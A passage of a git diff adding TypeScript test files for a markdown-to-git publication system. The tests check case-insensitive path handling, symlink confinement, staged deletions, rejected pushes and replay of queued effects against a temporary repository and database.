+test('native path lookup fixes existing aliases but never folds POSIX case-distinct names', async () => {
+ const f = fixture();
+ if (!f.caseInsensitive) mkdirSync(join(f.root, 'notes'));
+ writeFileSync(join(f.root, 'Notes', 'Old.md'), 'Native\n');
+ writeFileSync(join(f.root, 'notes', 'new.md'), 'New\n');
+ if (f.caseInsensitive) {
+ expect(await publishGitEffect(f.root, 'notes/old.md')).toEqual({ git: 'committed', push: 'committed' });
+ published(f, 'Notes/Old.md', 'Native\n');
+ } else {
+ expect(await publishGitEffect(f.root, 'notes/old.md')).toMatchObject({ reason: 'target_absent' });
+ expect(await publishGitEffect(f.root, 'Notes/Old.md')).toEqual({ git: 'committed', push: 'committed' });
+ }
+ expect(await publishGitEffect(f.root, 'notes/new.md')).toEqual({ git: 'committed', push: 'committed' });
+ published(f, f.caseInsensitive ? 'Notes/new.md' : 'notes/new.md', 'New\n');
+});
+
+test('native ambiguous aliases refuse instead of picking one hardlink name', async () => {
+ const f = fixture();
+ if (!f.caseInsensitive) return;
+ writeFileSync(join(f.root, 'Notes', 'Old.md'), 'Native\n');
+ linkSync(join(f.root, 'Notes', 'Old.md'), join(f.root, 'Notes', 'Other.md'));
+ const before = git(f.root, 'rev-parse', 'HEAD');
+ await expect(publishGitEffect(f.root, 'notes/old.md')).rejects.toMatchObject({ code: 'git_target_unsafe' });
+ expect(git(f.root, 'rev-parse', 'HEAD')).toBe(before);
+});
+
+test('case-distinct directories retain separate files and staged changes', async () => {
+ const f = fixture();
+ if (f.caseInsensitive) return;
+ mkdirSync(join(f.root, 'notes'));
+ for (const directory of ['Notes', 'notes']) writeFileSync(join(f.root, directory, 'page.md'), `Before ${directory}\n`);
+ git(f.root, 'add', '.'); git(f.root, '-c', 'core.hooksPath=', 'commit', '-m', 'Distinct paths');
+ for (const directory of ['Notes', 'notes']) writeFileSync(join(f.root, directory, 'page.md'), `After ${directory}\n`);
+ git(f.root, 'add', '--', 'Notes/page.md');
+ const index = git(f.root, 'ls-files', '--stage', '-z', '--', 'Notes/page.md');
+ expect(await publishGitEffect(f.root, 'notes/page.md')).toEqual({ git: 'committed', push: 'committed' });
+ published(f, 'notes/page.md', 'After notes\n');
+ published(f, 'Notes/page.md', 'Before Notes\n');
+ expect(git(f.root, 'ls-files', '--stage', '-z', '--', 'Notes/page.md')).toBe(index);
+});
+
+for (const staged of [false, true]) test(`a missing old spelling cannot hide an indexed deletion (staged=${staged})`, async () => {
+ const f = fixture();
+ writeFileSync(join(f.root, 'Notes', 'Old.md'), 'Tracked\n');
+ git(f.root, 'add', 'Notes/Old.md'); git(f.root, '-c', 'core.hooksPath=', 'commit', '-m', 'Tracked target');
+ git(f.root, 'push');
+ rmSync(join(f.root, 'Notes', 'Old.md'));
+ if (staged) git(f.root, 'add', '-u', '--', 'Notes/Old.md');
+ const head = git(f.root, 'rev-parse', 'HEAD');
+ const index = readFileSync(join(f.root, '.git', 'index'));
+ await expect(publishGitEffect(f.root, 'Notes/old.md')).rejects.toMatchObject({ code: 'git_target_unsafe' });
+ expect(git(f.root, 'rev-parse', 'HEAD')).toBe(head);
+ expect(readFileSync(join(f.root, '.git', 'index'))).toEqual(index);
+ expect(git(f.remote, 'show', 'refs/heads/main:Notes/Old.md')).toBe('Tracked\n');
+ expect(await publishGitEffect(f.root, 'Notes/Old.md')).toEqual({ git: 'committed', push: 'committed' });
+ expect(git(f.remote, 'ls-tree', '-r', '--name-only', 'refs/heads/main')).toBe('initial.md\n');
+ const deletion = git(f.root, 'rev-parse', 'HEAD');
+ expect(await publishGitEffect(f.root, 'Notes/Old.md')).toEqual({ git: 'skipped', reason: 'target_absent', push: 'skipped' });
+ expect(git(f.root, 'rev-parse', 'HEAD')).toBe(deletion);
+});
+
+for (const deleted of [false, true]) test(`unborn HEAD preserves a new index while checking absence (deleted=${deleted})`, async () => {
+ const f = fixture();
+ git(f.root, 'checkout', '--orphan', 'unborn');
+ git(f.root, 'rm', '--cached', '--', 'initial.md');
+ writeFileSync(join(f.root, 'Notes', 'New.md'), 'New index entry\n');
+ git(f.root, 'add', '--', 'Notes/New.md');
+ if (deleted) rmSync(join(f.root, 'Notes', 'New.md'));
+ const index = readFileSync(join(f.root, '.git', 'index'));
+ if (deleted) await expect(publishGitEffect(f.root, 'Notes/new.md')).rejects.toMatchObject({ code: 'git_target_unsafe' });
+ else expect(await publishGitEffect(f.root, 'Notes/missing.md')).toEqual({ git: 'skipped', reason: 'target_absent', push: 'skipped' });
+ expect(readFileSync(join(f.root, '.git', 'index'))).toEqual(index);
+ expect(git(f.root, 'ls-files', '-z')).toBe('Notes/New.md\0');
+ expect(git(f.remote, 'ls-tree', '-r', '--name-only', 'refs/heads/main')).toBe('initial.md\n');
+});
+
+test('an exact staged deletion commits alone and replays without another commit', async () => {
+ const f = fixture();
+ rmSync(join(f.root, 'initial.md')); git(f.root, 'add', '-u', '--', 'initial.md');
+ writeFileSync(join(f.root, 'unrelated.md'), 'Unrelated staging\n'); git(f.root, 'add', '--', 'unrelated.md');
+ const index = git(f.root, 'ls-files', '--stage', '-z', '--', 'unrelated.md');
+ expect(await publishGitEffect(f.root, 'initial.md')).toEqual({ git: 'committed', push: 'committed' });
+ expect(git(f.root, 'ls-tree', '-r', '--name-only', 'HEAD')).toBe('');
+ expect(git(f.remote, 'ls-tree', '-r', '--name-only', 'refs/heads/main')).toBe('');
+ expect(git(f.root, 'ls-files', '--stage', '-z', '--', 'unrelated.md')).toBe(index);
+ const head = git(f.root, 'rev-parse', 'HEAD');
+ expect(await publishGitEffect(f.root, 'initial.md')).toEqual({ git: 'skipped', reason: 'target_absent', push: 'skipped' });
+ expect(git(f.root, 'rev-parse', 'HEAD')).toBe(head);
+});
+
+test('symlinked root works while escaping descendants and directory targets refuse', async () => {
+ const f = fixture();
+ const alias = join(f.home, 'alias'); symlinkSync(f.root, alias, process.platform === 'win32' ? 'junction' : 'dir');
+ writeFileSync(join(f.root, 'page.md'), 'Exact\n');
+ expect(await publishGitEffect(alias, 'page.md')).toEqual({ git: 'committed', push: 'committed' });
+ published(f, 'page.md', 'Exact\n');
+ const outside = join(f.home, 'outside'); mkdirSync(outside);
+ writeFileSync(join(outside, 'page.md'), 'Outside\n');
+ symlinkSync(outside, join(f.root, 'escape'), process.platform === 'win32' ? 'junction' : 'dir');
+ const before = readFileSync(join(f.root, '.git', 'index'));
+ await expect(publishGitEffect(f.root, 'escape/page.md')).rejects.toMatchObject({ code: 'git_target_unsafe' });
+ await expect(publishGitEffect(f.root, 'Notes')).rejects.toMatchObject({ code: 'git_target_unsafe' });
+ expect(readFileSync(join(f.root, '.git', 'index'))).toEqual(before);
+ expect(readFileSync(join(outside, 'page.md'), 'utf8')).toBe('Outside\n');
+ expect(existsSync(join(f.root, 'escape', 'page.md'))).toBe(true);
+});
diff --git a/test/persistence-managed-sync.test.ts b/test/persistence-managed-sync.test.ts
index c8a1d4c24d..0850aa7717 100644
--- a/test/persistence-managed-sync.test.ts
+++ b/test/persistence-managed-sync.test.ts
@@ -234,7 +234,7 @@ test.each([false, true])('raw bytes changing after preparation conflict without
const original='Original source observation before admission.\n';
const f=await fixture(engine,{'a.md':original}); const binding=(await getWorktreeBinding(engine,f.id))!;
const authority=await managedSyncAuthority(engine,f.id,binding.source_incarnation,f.root);
- const intent:SyncIntent={kind:'managed_sync_import',expected_revision:null,sourcePath:'a.md',path:'a.md',rawHash:sha256(original),content:original,...(newlineOnly?{lineEndingOnly:true}:{}),
+ const intent:SyncIntent={kind:'managed_sync_import',processingOptions:{noEmbed:false,noExtract:false,noSchemaPack:false},expected_revision:null,sourcePath:'a.md',path:'a.md',rawHash:sha256(original),content:original,...(newlineOnly?{lineEndingOnly:true}:{}),
ownerEpoch:String(binding.owner_epoch),syncAuthority:authority,cursorKey:'test-cursor',runId:randomUUID(),index:0,total:1,from:null,target:f.head,slugMode:'git-root'};
const requestId=randomUUID();
const admission={requestId,operation:'submit_job',sourceId:f.id,sourceIncarnation:binding.source_incarnation,slug:'a',pageId:null,
@@ -271,6 +271,7 @@ test.each([false, true])('managed terminal receipts survive a missing ledger and
const authority = await managedSyncAuthority(engine, f.id, discovery.incarnation, discovery.root);
const runId = randomUUID(), requestId = randomUUID(), entry = entries[0];
const legacyIntent: SyncIntent = { kind: 'managed_sync_import', expected_revision: entry.revision ?? null,
+ processingOptions: { noEmbed: false, noExtract: false, noSchemaPack: false },
sourcePath: entry.sourcePath, path: entry.path, rawHash: sha256(working), content: pinned,
ownerEpoch: String(discovery.binding.owner_epoch), syncAuthority: authority, cursorKey: previous.fingerprint,
runId, index: 0, total: entries.length, from: discovery.from, target: discovery.target, slugMode: discovery.slugMode };
diff --git a/test/persistence-performance.test.ts b/test/persistence-performance.test.ts
index 42f1518e41..ea4df724fe 100644
--- a/test/persistence-performance.test.ts
+++ b/test/persistence-performance.test.ts
@@ -1,7 +1,11 @@
import { describe, expect, test } from 'bun:test';
+import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join, resolve } from 'node:path';
import { overlapPercent, summarizeReadRuns } from '../scripts/persistence/read-metrics.ts';
import { runReadPerformance } from '../scripts/persistence/performance.ts';
import { WriteTimingRecorder } from '../scripts/persistence/read-admission.ts';
+import { childEnvironment } from '../scripts/persistence/validate.ts';
describe('read-load evidence', () => {
test('rejects invalid workload sizes before opening a datastore', async () => {
@@ -40,6 +44,32 @@ describe('read-load evidence', () => {
expect(summarizeReadRuns(results).verdict).toBe('pass');
expect(summarizeReadRuns([run(10, 15.01), run(10, 15.01), run(10, 15.01)]).verdict).toBe('fail');
});
+ for (const [informational, valid, exit] of [[false, true, 1], [true, true, 0], [true, false, 1]] as const) {
+ test(`CLI advisory policy preserves measured failure and rejects invalid work (${informational}, ${valid})`, () => {
+ const home = mkdtempSync(join(tmpdir(), 'gbrain-read-policy-'));
+ try {
+ const preload = join(home, 'preload.ts');
+ const manifest = join(home, 'manifest.json');
+ const fixture = { ...run(10, 30), ok: valid };
+ writeFileSync(preload, `Bun.spawn = () => ({
+ stdout: new Blob([${JSON.stringify(`${JSON.stringify(fixture)}\n`)}]).stream(),
+ exited: Promise.resolve(0), exitCode: 0, kill() {},
+ });`);
+ const result = Bun.spawnSync([process.execPath, '--no-env-file', '--preload', preload,
+ resolve(import.meta.dir, '../scripts/persistence/performance.ts'), `--manifest=${manifest}`,
+ ...(informational ? ['--informational'] : [])], { env: childEnvironment(home), timeout: 30_000 });
+ expect(result.exitCode).toBe(exit);
+ const recorded = JSON.parse(readFileSync(manifest, 'utf8'));
+ expect(recorded.ok).toBe(valid);
+ expect(recorded.verdict).toBe('fail');
+ expect(recorded.status).toBe('failed');
+ expect(recorded.full_gate).toBe(false);
+ expect(recorded.delta_p99_pct).toBe(200);
+ expect(recorded.threshold_pct).toBe(50);
+ expect(recorded.runs).toHaveLength(3);
+ } finally { rmSync(home, { recursive: true, force: true }); }
+ }, 40_000);
+ }
test('a fast invalid or incomplete sample always fails', () => {
for (const mutate of [
(r: any) => { r.ok = false; }, (r: any) => { r.overlap_pct = 89.99; },
diff --git a/test/persistence-publication-native.serial.test.ts b/test/persistence-publication-native.serial.test.ts
new file mode 100644
index 0000000000..fbb67fa689
--- /dev/null
+++ b/test/persistence-publication-native.serial.test.ts
@@ -0,0 +1,428 @@
+import { afterAll, beforeAll, expect, test } from 'bun:test';
+import { randomUUID } from 'node:crypto';
+import { existsSync, linkSync, mkdirSync, readFileSync, realpathSync, renameSync, rmSync, symlinkSync, writeFileSync } from 'node:fs';
+import { dirname, join, relative, sep } from 'node:path';
+import { pathToFileURL } from 'node:url';
+import type { BrainEngine } from '../src/core/engine.ts';
+import type { GBrainConfig } from '../src/core/config.ts';
+import { PGLiteEngine } from '../src/core/pglite-engine.ts';
+import { serializePageToMarkdown } from '../src/core/markdown.ts';
+import { recordedPathFromFileUri } from '../src/core/write-through.ts';
+import type { OperationContext } from '../src/core/ops/contract.ts';
+import { acquireWorktree, claimWorktree, getWorktreeBinding } from '../src/core/persistence/ownership.ts';
+import { runManagedSourceLifecycle } from '../src/core/persistence/source-lifecycle.ts';
+import { hasManagedRootMarker, nativeFilesystemPath } from '../src/core/persistence/root-registry.ts';
+import { assertManagedFilesystemWrite } from '../src/core/persistence/filesystem-guard.ts';
+import { PHYSICAL_ROOT_MARKER, physicalRootReservationPath, reservePhysicalRootRecord } from '../src/core/persistence/physical-root-record.ts';
+import { inspectPhysicalRootRecovery } from '../src/core/persistence/physical-root-recovery.ts';
+import { tryAcquireNativeLock } from '../src/core/persistence/native-lock.ts';
+import { localHostId, registerLocalWriter } from '../src/core/persistence/identity.ts';
+import { submissionAuthority } from '../src/core/persistence/authority.ts';
+import { admitWrite, claimNextWrite, getWriteRequestById } from '../src/core/persistence/journal.ts';
+import { publishMutation } from '../src/core/persistence/coordinator.ts';
+import { prepareFileTarget } from '../src/core/persistence/page-prepare.ts';
+import { runPersistenceEffects } from '../src/core/persistence/effects.ts';
+import { publicEffectsForRequest } from '../src/core/persistence/effect-journal.ts';
+import { sha256 } from '../src/core/persistence/digest.ts';
+import { git, gitFixture } from './helpers/git-publication.ts';
+import { isolatedPersistencePostgres } from './helpers/persistence-postgres.ts';
+
+let engine: BrainEngine;
+let closePostgres: (() => Promise<void>) | undefined;
+const fixtures: ReturnType<typeof gitFixture>[] = [];
+const hostId = localHostId();
+const config: GBrainConfig = { engine: 'pglite', embedding_disabled: true };
+const page = (body: string) => ({ type: 'note', title: 'Example', compiled_truth: body, timeline: '', frontmatter: {} });
+beforeAll(async () => {
+ const f = gitFixture(); fixtures.push(f);
+ if (process.env.GBRAIN_TEST_REQUIRE_CASE_INSENSITIVE === '1') expect(f.caseInsensitive).toBe(true);
+ console.log(`Native publication fixture: platform=${process.platform} caseInsensitive=${f.caseInsensitive}`);
+ if (process.env.DATABASE_URL) {
+ const pg = await isolatedPersistencePostgres(process.env.DATABASE_URL);
+ engine = pg.engine; closePostgres = pg.close;
+ } else {
+ engine = new PGLiteEngine(); await engine.connect({}); await engine.initSchema();
+ }
+ config.engine = engine.kind;
+ console.log(`Publication journal engine: ${engine.kind}`);
+ await registerLocalWriter(engine, 'cli');
+}, 120_000);
+afterAll(async () => {
+ try { if (closePostgres) await closePostgres(); else await engine?.disconnect(); }
+ finally { for (const f of fixtures) f.cleanup(); }
+});
+
+async function fixture(useRequestedRoot = false) {
+ const f = gitFixture(); fixtures.push(f);
+ const sourceId = `publication-${randomUUID().replaceAll('-', '').slice(0, 20)}`;
+ const sourceRoot = useRequestedRoot ? f.requestedRoot : f.root;
+ await engine.executeRaw('INSERT INTO sources(id,name,local_path) VALUES($1,$1,$2)', [sourceId, sourceRoot]);
+ const binding = await claimWorktree(engine, sourceId, sourceRoot, hostId);
+ const ctx: OperationContext = { engine, config, remote: false, dryRun: false, sourceId,
+ logger: { info() {}, warn() {}, error() {} } };
+ return { ...f, sourceId, binding, ctx };
+}
+
+async function publish(f: Awaited<ReturnType<typeof fixture>>, slug: string, options: { oldPath?: string; deletion?: boolean } = {}) {
+ const snapshot = await engine.readPageSnapshot(slug, { sourceId: f.sourceId });
+ const authority = await submissionAuthority(f.ctx, 'put_page', f.sourceId, f.binding.source_incarnation, slug);
+ const admitted = await admitWrite(engine, { principal: authority.principal, authority, operation: 'put_page', sourceId: f.sourceId,
+ sourceIncarnation: f.binding.source_incarnation, slug, pageId: snapshot?.page.id ?? null, requestId: randomUUID(),
+ callerIntent: { content: 'Published' }, intent: { content: 'Published' }, worktreeId: f.binding.worktree_id,
+ topologyGeneration: f.binding.topology_generation });
+ const row = (await claimNextWrite(engine, hostId))!;
+ expect(row.id).toBe(admitted.id);
+ const content = options.deletion ? null : 'Published\n';
+ const file = options.oldPath ? { root: f.root, path: join(f.root, options.oldPath), content }
+ : (await prepareFileTarget(engine, row, snapshot, content, hostId))!;
+ const result = await publishMutation(engine, row, { observedRevision: snapshot?.revision ?? null, file,
+ apply: async tx => {
+ await tx.putPage(slug, page('Published'), { sourceId: f.sourceId });
+ if (options.deletion) await tx.softDeletePage(slug, { sourceId: f.sourceId });
+ return { status: options.deletion ? 'soft_deleted' : 'created_or_updated' };
+ } }, hostId);
+ expect(result.state).toBe('committed');
+ const receipt = await getWriteRequestById(engine, row.id);
+ const [effect] = await engine.executeRaw<{ id: string; data: Record<string, unknown> }>(
+ "SELECT id,data FROM persistence_effects WHERE request_id=$1::uuid AND kind='git'", [row.id]);
+ return { row, receipt, effect, file };
+}
+
+async function run(id: string) {
+ await engine.executeRaw("UPDATE persistence_effects SET next_attempt_at=now()+interval '1 hour'");
+ await engine.executeRaw('UPDATE persistence_effects SET next_attempt_at=now() WHERE id=$1', [id]);
+ await runPersistenceEffects(engine, config, { hostId, limit: 1 });
+ return (await engine.executeRaw<{ id: string; request_id: string; attempts: number; state: string; error_code: string | null;
+ data: Record<string, unknown>; outcome: Record<string, unknown> | null }>(
+ 'SELECT id,request_id,attempts,state,error_code,data,outcome FROM persistence_effects WHERE id=$1', [id]))[0];
+}
+
+function expectBlob(f: Awaited<ReturnType<typeof fixture>>, path: string) {
+ expect(git(f.root, 'show', `HEAD:${path}`)).toBe('Published\n');
+ expect(git(f.remote, 'show', `refs/heads/main:${path}`)).toBe('Published\n');
+}
+
+test('native root aliases produce confined bindings and replay the same managed claim', async () => {
+ const f = await fixture(true);
+ console.log(`Native root alias fixture: platform=${process.platform} distinct=${f.requestedRoot !== f.root}`);
+ expect(f.binding.local_path).toBe(f.root);
+ expect(f.binding.relative_path).toBe('');
+ expect(await runManagedSourceLifecycle(engine, { operation: 'claim', sourceId: f.sourceId, path: f.requestedRoot }))
+ .toMatchObject({ state: 'committed', noop: true });
+ expect(await engine.executeRaw('SELECT local_path FROM sources WHERE id=$1', [f.sourceId]))
+ .toEqual([{ local_path: f.requestedRoot }]);
+ const duplicate = `overlap-${randomUUID().replaceAll('-', '').slice(0, 20)}`;
+ await expect(runManagedSourceLifecycle(engine, { operation: 'add', sourceId: duplicate, path: f.requestedRoot }))
+ .rejects.toMatchObject({ code: 'overlapping_path' });
+ expect(await engine.executeRaw('SELECT id FROM sources WHERE id=$1', [duplicate])).toEqual([]);
+ const { row, receipt, effect } = await publish(f, 'notes/native-alias');
+ const target = f.caseInsensitive ? 'Notes/native-alias.md' : 'notes/native-alias.md';
+ expect(effect.data.relative_path).toBe(target);
+ expect(await run(effect.id)).toMatchObject({ state: 'committed', outcome: { git: 'committed', push: 'committed' } });
+ expectBlob(f, target);
+ expect(await getWriteRequestById(engine, row.id)).toEqual(receipt);
+});
+
+for (const stamped of [false, true]) test(`legacy native root reservation keeps its veto and owner identity (stamped=${stamped})`, async () => {
+ const f = gitFixture(); fixtures.push(f);
+ const requested = join(dirname(f.requestedRoot), 'legacy-root');
+ mkdirSync(requested);
+ const root = realpathSync(requested);
+ const sourceId = `legacy-${randomUUID().replaceAll('-', '').slice(0, 20)}`;
+ const file = join(root, 'page.md');
+ writeFileSync(file, 'Retained canonical bytes\n');
+ await engine.executeRaw('INSERT INTO sources(id,name,local_path) VALUES($1,$1,$2)', [sourceId, root]);
+ const [brain] = await engine.executeRaw<{ brain_id: string }>('SELECT brain_id FROM persistence_brain WHERE singleton=1');
+ const reservation = reservePhysicalRootRecord(root, { brainId: stamped ? brain.brain_id : randomUUID(),
+ hostId, worktreeId: randomUUID(), coordinationPath: join(dirname(root), 'legacy-owner.lock') });
+ const recordPath = physicalRootReservationPath(root);
+ const bytes = readFileSync(recordPath);
+ console.log(`Legacy root identity fixture: platform=${process.platform} stamped=${stamped} distinct=${root !== nativeFilesystemPath(root)}`);
+ expect(hasManagedRootMarker(file)).toBe(true);
+ expect(() => assertManagedFilesystemWrite(file)).toThrow(expect.objectContaining({ code: 'writer_coordinator_required' }));
+ if (!stamped) {
+ await expect(claimWorktree(engine, sourceId, root, hostId)).rejects.toMatchObject({ code: 'recovery_required' });
+ const nativeRoot = nativeFilesystemPath(root);
+ await expect(runManagedSourceLifecycle(engine, { operation: 'claim', sourceId, path: nativeRoot }))
+ .rejects.toMatchObject({ code: root === nativeRoot ? 'recovery_required' : 'source_changed' });
+ expect(await getWorktreeBinding(engine, sourceId, hostId)).toBeNull();
+ expect(existsSync(join(root, PHYSICAL_ROOT_MARKER))).toBe(false);
+ } else {
+ const binding = await claimWorktree(engine, sourceId, root, hostId);
+ expect(binding).toMatchObject({ worktree_id: reservation.worktreeId, local_path: root,
+ coordination_path: reservation.coordinationPath, relative_path: '' });
+ const stamp = readFileSync(join(root, PHYSICAL_ROOT_MARKER));
+ const lock = await acquireWorktree(binding);
+ expect(lock).not.toBeNull();
+ let competing: Awaited<ReturnType<typeof tryAcquireNativeLock>> = null;
+ try {
+ competing = await tryAcquireNativeLock(nativeFilesystemPath(reservation.coordinationPath));
+ expect(competing).toBeNull();
+ } finally { await competing?.release(); await lock?.release(); }
+ expect(inspectPhysicalRootRecovery(root, reservation).reservation).toEqual(reservation);
+ expect(await runManagedSourceLifecycle(engine, { operation: 'claim', sourceId, path: root }))
+ .toMatchObject({ state: 'committed', noop: true });
+ if (root !== nativeFilesystemPath(root)) {
+ await expect(runManagedSourceLifecycle(engine, { operation: 'claim', sourceId, path: nativeFilesystemPath(root) }))
+ .rejects.toMatchObject({ code: 'writer_transfer_required' });
+ }
+ expect(await getWorktreeBinding(engine, sourceId, hostId)).toEqual(binding);
+ expect(readFileSync(join(root, PHYSICAL_ROOT_MARKER))).toEqual(stamp);
+ }
+ expect(readFileSync(recordPath)).toEqual(bytes);
+ expect(readFileSync(file, 'utf8')).toBe('Retained canonical bytes\n');
+});
+
+test('new-page preparation and journal publication use actual native directory spelling', async () => {
+ const f = await fixture();
+ const { file, row, receipt, effect } = await publish(f, 'notes/new');
+ const target = f.caseInsensitive ? 'Notes/new.md' : 'notes/new.md';
+ expect(await run(effect.id)).toMatchObject({ state: 'committed', outcome: { git: 'committed', push: 'committed' } });
+ expectBlob(f, target);
+ expect(git(f.remote, 'ls-tree', '-r', '-z', '--name-only', 'refs/heads/main').split('\0').filter(Boolean).sort())
+ .toEqual(['initial.md', target].sort());
+ expect(git(f.root, 'diff', '--cached', '--name-only')).toBe('');
+ expect(relative(f.root, file.path).split(sep).join('/')).toBe(target);
+ expect(effect.data.relative_path).toBe(target);
+ expect(await getWriteRequestById(engine, row.id)).toEqual(receipt);
+});
+
+test('already recorded spelling is resolved before preparing an existing page', async () => {
+ const f = await fixture(); const slug = 'notes/old';
+ await engine.putPage(slug, page('Before'), { sourceId: f.sourceId });
+ const recorded = f.caseInsensitive ? 'notes/old.md' : 'Notes/Old.md';
+ await engine.executeRaw('UPDATE pages SET source_path=$1 WHERE source_id=$2 AND slug=$3', [recorded, f.sourceId, slug]);
+ const snapshot = (await engine.readPageSnapshot(slug, { sourceId: f.sourceId }))!;
+ writeFileSync(join(f.root, 'Notes', 'Old.md'), serializePageToMarkdown(snapshot.page, snapshot.tags));
+ const { file, effect } = await publish(f, slug);
+ expect(relative(f.root, file.path).split(sep).join('/')).toBe('Notes/Old.md');
+ expect(await run(effect.id)).toMatchObject({ state: 'committed', outcome: { git: 'committed', push: 'committed' } });
+ expectBlob(f, 'Notes/Old.md');
+ expect((await engine.readPageSnapshot(slug, { sourceId: f.sourceId }))!.page.source_path).toBe(recorded);
+});
+
+test('old queued targets resolve at execution without changing their frozen data or receipt', async () => {
+ const f = await fixture();
+ writeFileSync(join(f.root, 'Notes', 'old.md'), 'Before\n');
+ git(f.root, 'add', 'Notes/old.md'); git(f.root, '-c', 'core.hooksPath=', 'commit', '-m', 'Old target');
+ writeFileSync(join(f.root, 'unrelated.md'), 'Staged\n'); git(f.root, 'add', 'unrelated.md');
+ const index = git(f.root, 'ls-files', '--stage', '-z', '--', 'unrelated.md');
+ const { row, receipt, effect } = await publish(f, 'notes/old', { oldPath: f.caseInsensitive ? 'notes/old.md' : 'Notes/old.md' });
+ expect(await run(effect.id)).toMatchObject({ state: 'committed', data: effect.data, outcome: { git: 'committed', push: 'committed' } });
+ expectBlob(f, 'Notes/old.md');
+ expect(git(f.root, 'ls-files', '--stage', '-z', '--', 'unrelated.md')).toBe(index);
+ expect(git(f.root, 'diff', '--cached', '--name-only', '-z')).toBe('unrelated.md\0');
+ expect(await getWriteRequestById(engine, row.id)).toEqual(receipt);
+});
+
+test('lost completion acknowledgment reclaims the same Git effect without another commit', async () => {
+ const f = await fixture();
+ writeFileSync(join(f.root, 'unrelated.md'), 'Staged\n'); git(f.root, 'add', 'unrelated.md');
+ const index = git(f.root, 'ls-files', '--stage', '-z', '--', 'unrelated.md');
+ const base = git(f.root, 'rev-parse', 'HEAD').trim();
+ const { row, receipt, effect } = await publish(f, 'notes/replay');
+ const target = effect.data.relative_path as string;
+ await engine.executeRaw(`CREATE FUNCTION test_reject_git_completion() RETURNS trigger LANGUAGE plpgsql AS $$
+ BEGIN
+ IF NEW.kind='git' AND OLD.state='running' AND NEW.state='committed' THEN
+ RAISE EXCEPTION 'injected Git completion failure';
+ END IF;
+ RETURN NEW;
+ END $$`);
+ try {
+ await engine.executeRaw(`CREATE TRIGGER test_reject_git_completion BEFORE UPDATE ON persistence_effects
+ FOR EACH ROW EXECUTE FUNCTION test_reject_git_completion()`);
+ expect(await run(effect.id)).toMatchObject({ id: effect.id, request_id: row.id, attempts: 1,
+ state: 'queued', error_code: 'effect_unavailable', outcome: null, data: effect.data });
+ expectBlob(f, target);
+ expect(git(f.root, 'rev-parse', 'HEAD')).toBe(git(f.remote, 'rev-parse', 'refs/heads/main'));
+ expect(git(f.root, 'rev-list', '--count', `${base}..HEAD`)).toBe('1\n');
+ expect(git(f.root, 'ls-files', '--stage', '-z', '--', 'unrelated.md')).toBe(index);
+ expect(await getWriteRequestById(engine, row.id)).toEqual(receipt);
+ expect((await publicEffectsForRequest(engine, row.id)).find(item => item.kind === 'git'))
+ .toEqual({ kind: 'git', state: 'queued', reason: 'effect_unavailable' });
+ } finally {
+ await engine.executeRaw('DROP TRIGGER IF EXISTS test_reject_git_completion ON persistence_effects');
+ await engine.executeRaw('DROP FUNCTION test_reject_git_completion()');
+ }
+ const committed = git(f.root, 'rev-parse', 'HEAD');
+ expect(await run(effect.id)).toMatchObject({ id: effect.id, request_id: row.id, attempts: 2,
+ state: 'committed', error_code: null, data: effect.data, outcome: { git: 'unchanged', push: 'committed' } });
+ expectBlob(f, target);
+ expect(git(f.root, 'rev-parse', 'HEAD')).toBe(committed);
+ expect(git(f.remote, 'rev-parse', 'refs/heads/main')).toBe(committed);
+ expect(git(f.remote, 'rev-list', '--count', `${base}..refs/heads/main`)).toBe('1\n');
+ expect(git(f.root, 'ls-files', '--stage', '-z', '--', 'unrelated.md')).toBe(index);
+ expect(git(f.root, 'diff', '--cached', '--name-only', '-z')).toBe('unrelated.md\0');
+ expect(await getWriteRequestById(engine, row.id)).toEqual(receipt);
+ expect((await publicEffectsForRequest(engine, row.id)).find(item => item.kind === 'git'))
+ .toEqual({ kind: 'git', state: 'committed', push: 'committed' });
+ expect(await engine.executeRaw("SELECT id FROM persistence_effects WHERE request_id=$1::uuid AND kind='git'", [row.id]))
+ .toEqual([{ id: effect.id }]);
+});
+
+test('a rejected journal push retains its local commit and retries the same effect', async () => {
+ const f = await fixture();
+ const base = git(f.root, 'rev-parse', 'HEAD').trim();
+ git(f.remote, 'config', 'receive.denyNonFastForwards', 'true');
+ writeFileSync(join(f.root, 'remote-only.md'), 'Remote ahead\n'); git(f.root, 'add', 'remote-only.md');
+ git(f.root, '-c', 'core.hooksPath=', 'commit', '-m', 'Remote ahead'); git(f.root, 'push');
+ const remoteHead = git(f.remote, 'rev-parse', 'refs/heads/main');
+ git(f.root, 'reset', '--hard', base);
+ writeFileSync(join(f.root, 'unrelated.md'), 'Staged\n'); git(f.root, 'add', 'unrelated.md');
+ const index = git(f.root, 'ls-files', '--stage', '-z', '--', 'unrelated.md');
+ const { row, receipt, effect } = await publish(f, 'notes/rejected');
+ const target = effect.data.relative_path as string;
+ expect(await run(effect.id)).toMatchObject({ id: effect.id, request_id: row.id, attempts: 1,
+ state: 'queued', error_code: 'git_push_unavailable', outcome: null, data: effect.data });
+ const committed = git(f.root, 'rev-parse', 'HEAD');
+ expect(git(f.root, 'show', `HEAD:${target}`)).toBe('Published\n');
+ expect(git(f.root, 'rev-list', '--count', `${base}..HEAD`)).toBe('1\n');
+ expect(git(f.remote, 'rev-parse', 'refs/heads/main')).toBe(remoteHead);
+ expect(git(f.remote, 'ls-tree', '-r', '--name-only', 'refs/heads/main')).toBe('initial.md\nremote-only.md\n');
+ expect(git(f.root, 'ls-files', '--stage', '-z', '--', 'unrelated.md')).toBe(index);
+ expect(await getWriteRequestById(engine, row.id)).toEqual(receipt);
+ expect((await publicEffectsForRequest(engine, row.id)).find(item => item.kind === 'git'))
+ .toEqual({ kind: 'git', state: 'queued', reason: 'git_push_unavailable' });
+ git(f.remote, 'update-ref', 'refs/heads/main', base);
+ expect(await run(effect.id)).toMatchObject({ id: effect.id, request_id: row.id, attempts: 2,
+ state: 'committed', error_code: null, data: effect.data, outcome: { git: 'unchanged', push: 'committed' } });
+ expectBlob(f, target);
+ expect(git(f.root, 'rev-parse', 'HEAD')).toBe(committed);
+ expect(git(f.remote, 'rev-parse', 'refs/heads/main')).toBe(committed);
+ expect(git(f.remote, 'rev-list', '--count', `${base}..refs/heads/main`)).toBe('1\n');
+ expect(git(f.root, 'ls-files', '--stage', '-z', '--', 'unrelated.md')).toBe(index);
+ expect(git(f.root, 'diff', '--cached', '--name-only', '-z')).toBe('unrelated.md\0');
+ expect(await getWriteRequestById(engine, row.id)).toEqual(receipt);
+ expect((await publicEffectsForRequest(engine, row.id)).find(item => item.kind === 'git'))
